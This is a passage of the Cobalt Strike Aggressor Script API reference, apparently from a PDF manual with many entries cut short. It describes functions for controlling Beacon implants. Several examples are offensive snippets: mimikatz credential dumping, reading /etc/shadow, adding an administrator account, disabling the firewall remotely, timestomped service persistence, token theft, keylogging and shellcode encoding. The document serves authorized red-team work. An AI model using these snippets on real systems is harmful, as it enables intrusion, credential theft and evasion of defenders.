println(beacon_remote_exec_method_describe("wmi"));
See also
beacon_remote_exec_method_register
Register a Beacon remote execute method with Cobalt Strike. This adds an option for use with
the remote-exec command.
Arguments
$3 - the function that implements the exploit ($1 is the Beacon ID, $2 is the target, $3 is the
command+args)
See Also
beacon_remote_exec_methods
Get a list of remote execute methods registered with Cobalt Strike.
Returns
Example
printAll(beacon_remote_exec_methods());
See also
beacon_remote_exploit_arch
Get the arch info for this Beacon lateral movement option.
Arguments
$1 - the exploit
Returns
x86 or x64
Example
println(beacon_remote_exploit_arch("psexec"));
See Also
beacon_remote_exploit_describe
Describe a Beacon lateral movement option.
Returns
Arguments
$1 - the exploit
Example
println(beacon_remote_exploit_describe("psexec"));
See Also
beacon_remote_exploit_register
Register a Beacon lateral movement option with Cobalt Strike. This function extends the jump
command.
Arguments
$4 - the function that implements the exploit ($1 is the Beacon ID, $2 is the target, $3 is the
listener)
See also
beacon_remote_exploits
Get a list of lateral movement options registered with Cobalt Strike.
Returns
Example
printAll(beacon_remote_exploits());
See also
beacon_remove
Remove a Beacon from the display.
Arguments
beacon_stage_pipe
This function handles the staging process for a bind pipe stager. This is an optional stager for
lateral movement. You can stage any x86 payload/listener through this stager. Use &stager_
bind_pipe to generate this stager.
Arguments
$4 - the architecture of the payload to stage. x86 is the only option right now.
Example
beacon_stage_tcp
This function handles the staging process for a bind TCP stager. This is the preferred stager for
localhost-only staging. You can stage any payload/listener through this stager. Use &stager_
bind_tcp to generate this stager.
Arguments
Example
beacons
Get information about all Beacons calling back to this Cobalt Strike team server.
Returns
Example
belevate
Ask Beacon to spawn an elevated session with a registered technique.
Arguments
Example
See also
belevate_command
Ask Beacon to run a command in a high-integrity context
Arguments
Example
See also
berror
Arguments
Example
alias donotrun {
berror($1, "You should never run this command!");
}
bexecute
Ask Beacon to execute a command [without a shell]. This provides no output to the user.
Arguments
Example
bexecute($1, "notepad.exe");
bexecute_assembly
Spawns a local .NET executable assembly as a Beacon post-exploitation job.
Arguments
$4 - (optional) the "PATCHES:" argument can modify functions in memory for the process. Up to
4 "patch-rule" rules can be specified (space delimited).
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Notes
l This command accepts a valid .NET executable and calls its entry point.
l This post-exploitation job inherits Beacon's thread token.
l Compile your custom .NET programs with a .NET 3.5 compiler for compatibility with
systems that don't have .NET 4.0 and later.
Example
alias myutil {
bexecute_assembly($1, script_resource("myutil.exe"), "arg1 arg2 \"arg
3\"");
}
bexit
Ask a Beacon to exit.
Arguments
Example
item "&Die" {
binput($1, "exit");
bexit($1);
}
bgetprivs
Attempts to enable the specified privilege in your Beacon session.
Arguments
https://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx
Example
alias debug {
bgetprivs($1, "SeDebugPriv");
}
bgetsystem
Ask Beacon to attempt to get the SYSTEM token.
Arguments
Example
bgetuid
Ask Beacon to print the User ID of the current token
Arguments
bgetuid($1);
bhashdump
Ask Beacon to dump local account password hashes. If injecting into a pid that process requires
administrator privileges.
Arguments
$4 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map.
Example
bind
Bind a keyboard shortcut to an Aggressor Script function. This is an alternate to the bind
keyword.
Arguments
Example
# bind Ctrl+Left and Ctrl+Right to cycle through previous and next tab.
bind("Ctrl+Left", {
previousTab();
});
bind("Ctrl+Right", {
nextTab();
});
See also
&unbind
binfo
Get information from a Beacon session's metadata.
Arguments
Returns
Example
binject
Arguments
Example
binline_execute
Execute a Beacon Object File. This is the same as using the inline-execute command in Beacon.
Arguments
$4 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Notes
This functions follows the behavior of *inline-execute* in the Beacon console. The string
argument will be zero-terminated, converted to the target encoding, and passed as an argument
to the BOF's go function. To execute a BOF, with more control, use &beacon_inline_execute
The Cobalt Strike documentation has a page specific to BOF files. See Beacon Object Files on
page 171.
binput
Report a command was run to the Beacon console and logs. Scripts that execute commands
for the user (e.g., events, popup menus) should use this function to assure operator attribution
of automated actions in Beacon's logs.
Arguments
Example
bipconfig
Task a Beacon to list network interfaces.
Arguments
$2 - callback function with the ipconfig results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Example
alias ipconfig {
bipconfig($1, {
blog($1, "Network information is:\n $+ $2");
});
}
bjobkill
Ask Beacon to kill a running post-exploitation job
Arguments
Example
bjobkill($1, 0);
bjobs
Ask Beacon to list running post-exploitation jobs.
Arguments
Example
bjobs($1);
bjump
Ask Beacon to spawn a session on a remote target.
Arguments
Example
See also
bkerberos_ccache_use
Ask beacon to inject a UNIX kerberos ccache file into the user's kerberos tray
Arguments
Example
alias kerberos_ccache_use {
bkerberos_ccache_use($1, $2);
}
bkerberos_ticket_purge
Ask beacon to purge tickets from the user's kerberos tray
Arguments
Example
alias kerberos_ticket_purge {
bkerberos_ticket_purge($1);
}
bkerberos_ticket_use
Ask beacon to inject a mimikatz kirbi file into the user's kerberos tray
Arguments
Example
alias kerberos_ticket_use {
bkerberos_ticket_use($1, $2);
}
bkeylogger
Injects a keystroke logger into a process.
Arguments
Example
bkeylogger($1);
bkill
Ask Beacon to kill a process
Arguments
Example
bkill($1, 1234);
blink
Ask Beacon to link to a host over a named pipe
Arguments
$3 - (optional) the pipename to use. The default pipename in the Malleable C2 profile is the
default otherwise.
Note
Use &beacon_link if you want a script function that will connect or link based on a listener
configuration.
Example
blink($1, "DC");
blog
Publishes an output message to the Beacon transcript.
Arguments
Example
alias demo {
blog($1, "I am output for the blog function");
}
blog2
Publishes an output message to the Beacon transcript. This function has an alternate format
from &blog
Arguments
Example
alias demo2 {
blog2($1, "I am output for the blog2 function");
}
bloginuser
Ask Beacon to create a token from the specified credentials. This is the make_token command.
Arguments
Example
blogonpasswords
Ask Beacon to dump in-memory credentials with mimikatz. This function requires administrator
privileges.
Arguments
Example
beacon_command_register(
"logonpasswords_inject",
"Inject into a process and dump in-memory credentials with mimikatz",
"Usage: logonpasswords_inject [pid] [arch]");
alias logonpasswords_inject {
blogonpasswords($1, $2, $3);
}
bls
Task a Beacon to list files
Variations
bls($1, "folder");
Arguments
$2 - (optional) the folder to list files for. Use "." for the current folder.
$3 - (optional) callback function with the ls results. Arguments to the callback are: $1 = beacon
ID, $2 = the folder, $3 = results
Example
on beacon_initial {
bls($1, ".");
}
bmimikatz
Ask Beacon to run a mimikatz command.
Arguments
$2 - the command and arguments to run. Supports the semicolon ( ; ) character to separate
multiple commands
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Examples
alias double_espresso {
bmimikatz($1, "standard::coffee;standard::coffee");
}
bmimikatz_small
Use Cobalt Strike's "smaller" internal build of Mimikatz to execute a mimikatz command.
Arguments
$2 - the command and arguments to run. Supports the semicolon ( ; ) character to separate
multiple commands
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Note
* kerberos::golden
* lsadump::dcsync
* sekurlsa::logonpasswords
* sekurlsa::pth
All of the other stuff is removed for size. Use &bmimikatz if you want to bring the full power of
mimikatz to some other offense problem.
Example
bmkdir
Ask Beacon to make a directory
Arguments
Example
bmode
Change the data channel for a DNS Beacon.
Arguments
Example
bmv
Ask Beacon to move a file or folder.
Arguments
$3 - the destination
Example
bnet
Run a command from Beacon's network and host enumeration tool.
Arguments
Type Description
computers lists hosts in a domain (groups)
dclist lists domain controllers
domain show the current domain
domain_controllers list domain controller hosts in a domain (groups)
domain_trusts lists domain trusts
group lists groups and users in groups
localgroup lists local groups and users in local groups
logons lists users logged onto a host
sessions lists sessions on a host
Type Description
share lists shares on a host
user lists users and user information
time show time for a host
view lists hosts in a domain (browser service)
$5 - (optional) the PID to inject the network and host enumeration tool into or $null
$7 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
NOTE:
The domain command executes a BOF using inline_execute and will not spawn or inject
into a process
Example
# ladmins [target]
# find the local admins for a target
alias ladmins {
bnet($1, "localgroup", $2, "administrators");
}
bnote
Arguments
Example
bnote($1, "foo");
bof_extract
This function extracts the executable code from the beacon object file.
Arguments
Example
$handle = openf(script_resource("/object_file"));
$data = readb($handle, -1);
closef($handle);
return bof_extract($data);
bof_pack
Pack arguments in a way that's suitable for BOF APIs to unpack.
Arguments
Note
This function packs its arguments into a binary structure for use with &beacon_inline_execute.
The format string options here correspond to the BeaconData* C API available to BOF files. This
API handles transformations on the data and hints as required by each type it can pack.
The Cobalt Strike documentation has a page specific to BOF files. See Beacon Object Files on
page 171.
See also
&beacon_inline_execute
bpassthehash
Ask Beacon to create a token that passes the specified hash. This is the pth command in
Beacon. It uses mimikatz. This function requires administrator privileges.
Arguments
Example
bpause
Ask Beacon to pause its execution. This is a one-off sleep.
Arguments
Example
alias pause {
bpause($1, int($2));
}
bportscan
Ask Beacon to run its port scanner.
Arguments
$8 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Example
bpowerpick
Spawn a process, inject Unmanaged PowerShell, and run the specified command.
Arguments
$4 - (optional) the "PATCHES:" argument can modify functions in memory for the process. Up to
4 "patch-rule" rules can be specified (space delimited).
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Example
alias powerver2 {
bpowerpick($1, '$PSVersionTable.PSVersion', '', 'PATCHES:
ntdll.dll,EtwEventWrite,0,C300');
}
bpowershell
Ask Beacon to run a PowerShell cmdlet
Arguments
$4 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Example
bpowershell_import
Arguments
Example
bpowershell_import_clear
Clear the imported PowerShell script from a Beacon session.
Arguments
Example
alias powershell-clear {
bpowershell_import_clear($1);
}
bppid
Set a parent process for Beacon's child processes
Arguments
Notes
l The current session must have rights to access the specified parent process.
l Attempts to spawn post-ex jobs under parent processes in another desktop session
may fail. This limitation is due to how Beacon launches its "temporary" processes for
post-exploitation jobs and injects code into them.
Example
alias prepenv {
btask($1, "Tasked Beacon to find explorer.exe and make it the PPID");
bps($1, {
local('$pid $name $entry');
foreach $entry (split("\n", $2)) {
($name, $null, $pid) = split("\\s+", $entry);
if ($name eq "explorer.exe") {
bppid($1, $pid);
}
}
});
}
bprintscreen
Ask Beacon to take a screenshot via PrintScr method.
Arguments
$2 - (optional) the PID to inject the screenshot tool via PrintScr method or $null.
Example
item "&Printscreen" {
binput($1, "printscreen");
bpintscreen($1);
}
bps
Task a Beacon to list processes
Variations
bps($1);
bps($1, &callback);
Arguments
$2 - (optional) callback function with the ps results. Arguments to the callback are: $1 = beacon
ID, $2 = results
Example
on beacon_initial {
bps($1);
}
alias prepenv {
btask($1, "Tasked Beacon to find explorer.exe and make it the PPID");
bps($1, {
local('$pid $name $entry');
foreach $entry (split("\n", $2)) {
($name, $null, $pid) = split("\\s+", $entry);
if ($name eq "explorer.exe") {
bppid($1, $pid);
}
}
});
}
bpsexec
Ask Beacon to spawn a payload on a remote host. This function generates an Artifact Kit
executable, copies it to the target, and creates a service to run it and clean it up.
Arguments
Example
brev2self();
bloginuser($1, "CORP", "Administrator", "toor");
bpsexec($1, "172.16.48.3", "my listener", "ADMIN\$");
bpsexec_command
Ask Beacon to run a command on a remote host. This function creates a service on the remote
host, starts it, and cleans it up.
Arguments
Example
alias shieldsdown {
bpsexec_command($1, $2, "shieldsdn", "cmd.exe /c netsh advfirewall set
allprofiles state off");
}
bpsexec_psh
REMOVED Removed in Cobalt Strike 4.0. Use &bjump with psexec_psh option.
bpsinject
Inject Unmanaged PowerShell into a specific process and run the specified cmdlet. This will use
the current imported powershell script.
Arguments
$5 - (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID,
$2 = results, $3 = information map
Example
bpwd
Ask Beacon to print its current working directory
Arguments
Example
alias pwd {
bpwd($1);
}
breg_query
Ask Beacon to query a key within the registry.
Arguments
Example
alias typedurls {
breg_query($1, "HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs",
"x86");
}
breg_queryv
Ask Beacon to query a value within a registry key.
Arguments
Example
alias winver {
breg_queryv($1, "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion",
"ProductName", "x86");
}
bremote_exec
Ask Beacon to run a command on a remote target.
Arguments
Example
See also
brev2self
Ask Beacon to drop its current token. This calls the RevertToSelf() Win32 API.
Arguments
Example
alias rev2self {
brev2self($1);
}
brm
Ask Beacon to remove a file or folder.
Arguments
Example
brportfwd
Ask Beacon to setup a reverse port forward.
Arguments
Example
brportfwd_local
Ask Beacon to setup a reverse port forward that routes to the current Cobalt Strike client.
Arguments
Example
brportfwd_stop
Ask Beacon to stop a reverse port forward
Arguments
Example
brportfwd_stop($1, 80);
brun
Ask Beacon to run a command
Arguments
Note
This capability is a simpler version of the &beacon_execute_job function. The latter function is
what &bpowershell and &bshell build on. This is a (slightly) more OPSEC-safe option to run
commands and receive output from them.
Example
alias w {
brun($1, "whoami /all");
}
brunas
Ask Beacon to run a command as another user.
Arguments
Example
brunasadmin
REMOVED Removed in Cobalt Strike 4.0. Use &belevate_command with psexec_psh
option.
Arguments
Notes
This command uses the Token Duplication UAC bypass. This bypass has a few requirements:
Example
brunu
Ask Beacon to run a process under another process.
Arguments
Example
bscreenshot
Ask Beacon to take a screenshot.
Arguments
Example
item "&Screenshot" {
binput($1, "screenshot");
bscreenshot($1);
}
bscreenwatch
Ask Beacon to take periodic screenshots
Arguments
Example
item "&Screenwatch" {
binput($1, "screenwatch");
bscreenwatch($1);
}
bsetenv
Ask Beacon to set an environment variable
Arguments
$3 - the value to set the environment variable to (specify $null to unset the variable)
Example
alias tryit {
bsetenv($1, "foo", "BAR!");
bshell($1, "echo %foo%");
}
bshell
Ask Beacon to run a command with cmd.exe
Arguments
Example
alias adduser {
bshell($1, "net user $2 B00gyW00gy1234! /ADD");
bshell($1, "net localgroup \"Administrators\" $2 /ADD");
}
bshinject
Inject shellcode (from a local file) into a specific process.
Arguments
Example
bshspawn
Spawn shellcode (from a local file) into another process. This function benefits from Beacon's
configuration to spawn post-exploitation jobs (e.g., spawnto, ppid, etc.)
Arguments
Example
bsleep
Ask Beacon to change its beaconing interval and jitter factor.
Arguments
Example
alias stealthy {
# sleep for 1 hour with 30% jitter factor
bsleep($1, 60 * 60, 30);
}
bsleepu
Ask Beacon to change its beaconing interval and jitter factor.
Arguments
Were:
Example
alias stealthy {
# sleep for 2 days 13 hours 45 minutes 8 seconds with 30% jitter factor
bsleepu($1, "2d 13h 45m 8s 30j");
}
bsocks
Start a SOCKS proxy server associated with a beacon.
Arguments
Example
alias socksPorts {
bsocks($1, 10401);
bsocks($1, 10402, "SOCKS4");
bsocks($1, 10501, "SOCKS5");
bsocks($1, 10502, "SOCKS5" "enableNoAuth", "", "",
"disableLogging");
bsocks($1, 10503, "SOCKS5" "enableNoAuth", "myname",
"mypassword", "disableLogging");
bsocks($1, 10504, "SOCKS5" "disableNoAuth", "myname",
"mypassword", "enableLogging");
}
bsocks_stop
Stop SOCKS proxy servers associated with the specified Beacon.
Arguments
Example
alias stopsocks {
bsocks_stop($1);
}
bspawn
Ask Beacon to spawn a new session
Arguments
Example
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn x86 $1");
bspawn($bids, $1, "x86");
}, $bids => $1));
}
bspawnas
Ask Beacon to spawn a session as another user.
Arguments
Example
bspawnto
Change the default program Beacon spawns to inject capabilities into.
Arguments
$2 - the architecture we're modifying the spawnto setting for (x86, x64)
Notes
The value you specify for spawnto must work from x86->x86, x86->x64, x64->x86, and x64->x86
contexts. This is tricky. Follow these rules and you'll be OK:
1. Always specify the full path to the program you want Beacon to spawn for its post-ex jobs.
4. For an x86 spawnto value, you must specify an x86 program. For an x64 spawnto value, you
must specify an x64 program.
Example
bspawnu
Ask Beacon to spawn a session under another process.
Arguments
Example
bspunnel
Spawn and tunnel an agent through this Beacon (via a target localhost-only reverse port
forward)
Arguments
Example
bspunnel_local
Spawn and tunnel an agent through this Beacon (via a target localhost-only reverse port
forward). Note: this reverse port forward tunnel traverses through the Beacon chain to the team
server and, via the team server, out through the requesting Cobalt Strike client.
Arguments
Example
bssh
Ask Beacon to spawn an SSH session.
Arguments
$4 - username
$5 - password
Example
bssh_key
Ask Beacon to spawn an SSH session using the data from a key file. The key file needs to be in
the PEM format. If the file is not in the PEM format then make a copy of the file and convert the
copy with the following command:
Arguments
$4 - username
Example
alias myssh {
$pid = $2;
$arch = $3;
$handle = openf("/path/to/key.pem");
$keydata = readb($handle, -1);
closef($handle);
bstage
bsteal_token
Ask Beacon to steal a token from a process.
Arguments
NOTE:
'OpenProcessToken access mask' can be helpful for stealing tokens from processes using
'SYSTEM' user and you have this error: Could not open process token: {pid} (5)
You can set your preferred default with '.steal_token_access_mask' in the Malleable C2 global
options.
Example
alias steal_token {
bsteal_token($1, int($2));
}
bsudo
Ask Beacon to run a command via sudo (SSH sessions only)
Arguments
Example
# hashdump [password]
ssh_alias hashdump {
bsudo($1, $2, "cat /etc/shadow");
}
bsyscall_method
Ask Beacon to change its syscall method.
Arguments
Indirect: Jump to the appropriate instruction within the Nt* version of the function.
NOTE:
If the $2 argument is empty, Beacon is tasked to query the currently used syscall method.
Example
alias syscall_method {
bsyscall_method($1, $2);
}
btask
Report a task acknowledgement for a Beacon. This task acknowledgement will also contribute
to the narrative in Cobalt Strike's Activity Report and Sessions Report.
Arguments
$3 - a string with MITRE ATT&CK Tactic IDs. Use a comma and a space to specify multiple IDs
in one string.
https://attack.mitre.org
Example
alias foo {
btask($1, "User tasked beacon to foo", "T1015");
}
btimestomp
Ask Beacon to change the file modified/accessed/created times to match another file.
Arguments
Example
alias persist {
bcd($1, "c:\\windows\\system32");
bupload($1, script_resource("evil.exe"));
btimestomp($1, "evil.exe", "cmd.exe");
bshell($1, 'sc create evil binpath= "c:\\windows\\system32\\evil.exe"');
bshell($1, 'sc start evil');
}
btoken_store_remove
Ask Beacon to remove specific access tokens from the store.
Arguments
Example
alias token-store_remove {
btoken_store_remove($1, @(int($2)));
}
btoken_store_remove_all
Ask Beacon to remove all tokens from the store.
Arguments
Example
alias token-store_remove_all {
btoken_store_remove_all($1);
}
btoken_store_show
Ask Beacon to print the tokens currently available in the token store.
Arguments
Example
alias token-store_show {
btoken_store_show($1);
}
btoken_store_steal
Ask Beacon to steal a token and store it in the token store.
Arguments
Example
alias token-store_steal {
btoken_store_steal($1, @(int($2)), 11);
}
btoken_store_steal_and_use
Ask Beacon to steal a token, store it and immediately apply it to the beacon.
Arguments
Example
alias token-store_steal_and_use {
btoken_store_steal_and_use($1, int($2), 11);
}
btoken_store_use
Ask Beacon to use a token from the token store.
Arguments
Example
alias token-store_use {
btoken_store_use($1, int($2));
}
bunlink
Ask Beacon to delink a Beacon its connected to over a TCP socket or named pipe.
Arguments
Example
bunlink($1, "172.16.48.3");
bupload
Ask a Beacon to upload a file
Arguments
Example
bupload($1, script_resource("evil.exe"));
bupload_raw
Ask a Beacon to upload a file
Arguments
Example
bwdigest
REMOVED Removed in Cobalt Strike 4.0. Use &bmimikatz directly.
bwinrm
REMOVED Removed in Cobalt Strike 4.0. Use &bjump with winrm or winrm64 built-in
options.
bwmi
REMOVED Removed in Cobalt Strike 4.0.
call
Issue a call to the team server.
Arguments
$2 - a callback to receive a response to this request. The callback will receive two arguments.
The first is the call name. The second is the response.
Example
closeClient
Close the current Cobalt Strike team server connection.
Example
closeClient();
colorPanel
Generate a Java component to set accent colors within Cobalt Strike's data model
Arguments
$1 - the prefix
Example
popup targets {
menu "&Color" {
insert_component(colorPanel("targets", $1));
}
}
See also
&highlight
credential_add
Add a credential to the data model
Arguments
$1 - username
$2 - password
$3 - realm
$4 - source
$5 - host
Example
command falsecreds {
for ($x = 0; $x < 100; $x++) {
credential_add("user $+ $x", "password $+ $x");
}
}
credentials
Returns a list of application credentials in Cobalt Strike's data model.
Returns
Example
printAll(credentials());
custom_event
Broadcast a custom event to all Cobalt Strike clients.
Arguments
Example
custom_event_private
Send a custom event to one specific Cobalt Strike client.
Arguments
Example
data_keys
List the query-able keys from Cobalt Strike's data model
Returns
Example
data_query
Queries Cobalt Strike's data model
Arguments
Returns
Example
println(data_query("targets"));
dbutton_action
Adds an action button to a &dialog. When this button is pressed, the dialog closes and its
callback is called. You may add multiple buttons to a dialog. Cobalt Strike will line these buttons
up in a row and center them at the bottom of the dialog.
Arguments
Example
dbutton_action($dialog, "Start");
dbutton_action($dialog, "Stop");
dbutton_help
Adds a Help button to a &dialog. When this button is pressed, Cobalt Strike will open the user's
browser to the specified URL.
Arguments
$2 - the URL to go to
Example
dbutton_help($dialog, "http://www.google.com");
dialog
Create a dialog. Use &dialog_show to show it.
Arguments
Returns
Example
sub callback {
# prints: Pressed Go, a is: Apple
println("Pressed $2 $+ , a is: " . $3['a']);
}
dialog_description
Adds a description to a &dialog
Arguments
$1 - a $dialog object
Example
dialog_show
Shows a &dialog.
Arguments
Example
dialog_show($dialog);
dispatch_event
Call a function in Java Swing's Event Dispatch Thread. Java's Swing Library is not thread safe.
All changes to the user interface should happen from the Event Dispatch Thread.
Arguments
Example
dispatch_event({
println("Hello World");
});
downloads
Returns a list of downloads in Cobalt Strike's data model.
Returns
Example
printAll(downloads());
drow_beacon
Adds a beacon selection row to a &dialog
Arguments
$1 - a $dialog object
Example
drow_checkbox
Adds a checkbox to a &dialog
Arguments
$1 - a $dialog object
Example
drow_combobox
Adds a combobox to a &dialog
Arguments
$1 - a $dialog object
Example
drow_exploits
Adds a privilege escalation exploit selection row to a &dialog
Arguments
$1 - a $dialog object
Example
drow_file
Adds a file chooser row to a &dialog
Arguments
$1 - a $dialog object
Example
drow_interface
Adds a VPN interface selection row to a &dialog
Arguments
$1 - a $dialog object
Example
drow_krbtgt
Adds a krbtgt selection row to a &dialog
Arguments
$1 - a $dialog object
Example
drow_listener
Adds a listener selection row to a &dialog. This row only shows listeners with stagers (e.g.,
windows/beacon_https/reverse_https).
Arguments
$1 - a $dialog object
Example
drow_listener_smb
DEPRECATED This function is deprecated in Cobalt Strike 4.0. It's now equivalent to
&drow_listener_stage
drow_listener_stage
Adds a listener selection row to a &dialog. This row shows all Beacon and Foreign listener
payloads.
Arguments
$1 - a $dialog object
Example
drow_mailserver
Adds a mail server field to a &dialog.
Arguments
$1 - a $dialog object
Example
drow_proxyserver
DEPRECATED This function is deprecated in Cobalt Strike 4.0. The proxy configuration is
now tied directly to the listener.
Arguments
$1 - a $dialog object
Example
drow_site
Arguments
$1 - a $dialog object
Example
drow_text
Adds a text field row to a &dialog
Arguments
$1 - a $dialog object
$4 - Optional. The width of this text field (in characters). This value isn't always honored (it
won't shrink the field, but it will make it wider).
Example
drow_text_big
Adds a multi-line text field to a &dialog
Arguments
$1 - a $dialog object
Example
dstamp
Format a time into a date/time value. This value includes seconds.
Arguments
Example
See also
&tstamp
elog
Publish a notification to the event log
Arguments
$1 - the message
Example
encode
Obfuscate a position-independent blob of code with an encoder.
Arguments
$1 - position independent code (e.g., shellcode, "raw" stageless Beacon) to apply encoder to
Encoder Description
alpha Alphanumeric encoder (x86-only)
xor XOR encoder
Notes
l The encoded position-independent blob must run from a memory page that has RWX
permissions or the decode step will crash the current process.
l alpha encoder: The EDI register must contain the address of the encoded blob.
&encode prepends a 10-byte (non-alphanumeric) program to the beginning of the
alphanumeric encoded blob. This program calculates the location of the encoded blob
and sets EDI for you. If you plan to set EDI yourself, you may remove these first 10 bytes.
Returns
A position-independent blob that decodes the original string and passes execution to it.
Example
# encode it.
$stager = encode($stager, "xor", "x86");
extract_reflective_loader
Extract the executable code for a reflective loader from a Beacon Object File (BOF).
Arguments
Returns
The Reflective Loader binary executable code extracted from the Beacon Object File data.
Example
# ---------------------------------------------------------------------
# extract loader from BOF.
# ---------------------------------------------------------------------
$loader = extract_reflective_loader($data);
file_browser
Open the File Browser. This function does not have any parameters.
fireAlias
Runs a user-defined alias
Arguments
Example
fireEvent
Fire an event.
Arguments
Example
on foo {
println("Argument is: $1");
}
format_size
Formats a number into a size (e.g., 1024 => 1kb)
Arguments
Returns
Example
println(format_size(1024));
getAggressorClient
Returns the aggressor.AggressorClient Java object. This can reach anything internal within the
current Cobalt Strike client context.
Example
$client = getAggressorClient();
gunzip
Decompress a string (GZIP).
Arguments
Returns
Example
println(gunzip(gzip("this is a test")));
See also
&gzip
gzip
GZIP a string.
Arguments
Returns
Example
println(gzip("this is a test"));
See also
&gunzip
highlight
Arguments
Notes
l Data model rows include: applications, beacons, credentials, listeners, services, and
targets.
l Accent options are:
Accent Color
[empty] no highlight
good Green
bad Red
neutral Yellow
ignore Grey
cancel Dark Blue
Example
command admincreds {
local('@creds');
host_delete
Delete a host from the targets model
Arguments
$1 - the IPv4 or IPv6 address of this target [you may specify an array of hosts too]
Example
host_info
Get information about a target.
Arguments
Returns
%info = host_info("address");
Returns the value for the specified key from this target's entry in the data model.
Example
}
}
host_update
Add or update a host in the targets model
Arguments
$1 - the IPv4 or IPv6 address of this target [you may specify an array of hosts too]
Note
You may specify a $null value for any argument and, if the host exists, no change will be made
to that value.
Example
hosts
Returns a list of IP addresses from Cobalt Strike's target model
Returns
An array of IP addresses
Example
printAll(hosts());
insert_component
Arguments
insert_menu
Bring menus associated with a popup hook into the current menu tree.
Arguments
Example
popup beacon {
# menu definitions above this point
insert_menu("beacon_bottom", $1);
iprange
Generate an array of IPv4 addresses based on a string description
Arguments
Range Result
192.168.1.2 The IP4 address 192.168.1.2
192.168.1.1, 192.168.1.2 The IPv4 addresses 192.168.1.1 and 192.168.1.2
192.168.1.0/24 The IPv4 addresses 192.168.1.0 through 192.168.1.255
192.168.1.18-192.168.1.30 The IPv4 addresses 192.168.1.18 through 192.168.1.29
Range Result
192.168.1.18-30 The IPv4 addresses 192.168.1.18 through 192.168.1.29
Returns
Example
printAll(iprange("192.168.1.0/25"));
keystrokes
Returns a list of keystrokes from Cobalt Strike's data model.
Returns
Example
printAll(keystrokes());
licenseKey
DEPRECATED This function is deprecated in Cobalt Strike 4.6. The function will now
return an empty string.
Returns
Example
listener_create
Arguments
Example
listener_create_ext
Create a new listener.
Arguments
$3 - a map with key/value pairs that specify options for the listener
Note
Payload Type
windows/beacon_dns/reverse_dns_txt Beacon DNS
windows/beacon_http/reverse_http Beacon HTTP
windows/beacon_https/reverse_https Beacon HTTPS
windows/beacon_bind_pipe Beacon SMB
windows/beacon_bind_tcp Beacon TCP
windows/beacon_extc2 External C2
windows/foreign/reverse_http Foreign HTTP
windows/foreign/reverse_https Foreign HTTPS
The following host rotation Values are valid for the 'strategy' Key:
Option
round-robin
random
failover
failover-5x
failover-50x
failover-100x
Option
failover-1m
failover-5m
failover-15m
failover-30m
failover-1h
failover-3h
failover-6h
failover-12h
failover-1d
rotate-1m
rotate-5m
rotate-15m
rotate-30m
rotate-1h
rotate-3h
rotate-6h
rotate-12h
rotate-1d
Note
The proxy configuration string is the same string you would input into Cobalt Strike's listener
dialog. *direct* ignores the local proxy configuration and attempts a direct connection.
protocol://user:[email protected]:port specifies which proxy configuration the
artifact should use. The username and password are optional (e.g.,
protocol://host:port is fine). The acceptable protocols are socks and http. Set the
proxy configuration string to $null or "" to use the default behavior.
Example
listener_delete
Stop and remove a listener.
Arguments
Example
listener_delete("Beacon HTTP");
listener_describe
Describe a listener.
Arguments
Returns
Example
listener_info
Get information about a listener.
Arguments
Returns
Returns the value for the specified key from this listener's metadata
Example
listener_pivot_create
Create a new pivot listener.
Arguments
$1 - the Beacon ID
Note
Example
listener_restart
Restart a listener
Arguments
Example
listener_restart("Beacon HTTP");
listeners
Return a list of listener names (with stagers only!) across all team servers this client is
connected to.
Returns
Example
printAll(listeners());
listeners_local
Return a list of listener names. This function limits itself to the current team server only. External
C2 listener names are omitted.
Returns
Example
printAll(listeners_local());
listeners_stageless
Return a list of listener names across all team servers this client is connected to. External C2
listeners are filtered (as they're not actionable via staging or exporting as a Reflective DLL).
Returns
Example
printAll(listeners_stageless());
localip
Get the IP address associated with the team server.
Returns
Example
menubar
Add a top-level item to the menubar.
Arguments
$1 - the description
Example
popup mythings {
item "Keep out" {
}
}
mynick
Get the nickname associated with the current Cobalt Strike client.
Returns
Example
nextTab
Activate the tab that is to the right of the current tab.
Example
bind Ctrl+Right {
nextTab();
}
on
Register an event handler. This is an alternate to the on keyword.
Arguments
Example
sub foo {
blog($1, "Foo!");
}
on("beacon_initial", &foo);
openAboutDialog
Open the "About Cobalt Strike" dialog
Example
openAboutDialog();
openApplicationManager
Open the application manager (system profiler results) tab.
Example
openApplicationManager();
openAutoRunDialog
Open the auto run dialog.
Example
openAutoRunDialog();
openBeaconBrowser
Open the beacon browser tab.
Example
openBeaconBrowser();
openBeaconConsole
Open the console to interact with a Beacon
Arguments
Example
item "Interact" {
local('$bid');
foreach $bid ($1) {
openBeaconConsole($bid);
}
}
openBrowserPivotSetup
open the browser pivot setup dialog
Arguments
Example
openBypassUACDialog
REMOVED Removed in Cobalt Strike 4.1.
openCloneSiteDialog
Open the dialog for the website clone tool.
Example
openCloneSiteDialog();
openConnectDialog
Open the connect dialog.
Example
openConnectDialog();
openCovertVPNSetup
open the Covert VPN setup dialog
Arguments
Example
openCredentialManager
Open the credential manager tab.
Example
openCredentialManager();
openDefaultShortcutsDialog
Open the Default Keyboard Shortcuts dialog. This function does not have any parameters.
openDownloadBrowser
Open the download browser tab
Example
openDownloadBrowser();
openElevateDialog
Arguments
$1 - the beacon ID
Example
item "Elevate" {
local('$bid');
foreach $bid ($1) {
openElevateDialog($bid);
}
}
openEventLog
Open the event log.
Example
openEventLog();
openFileBrowser
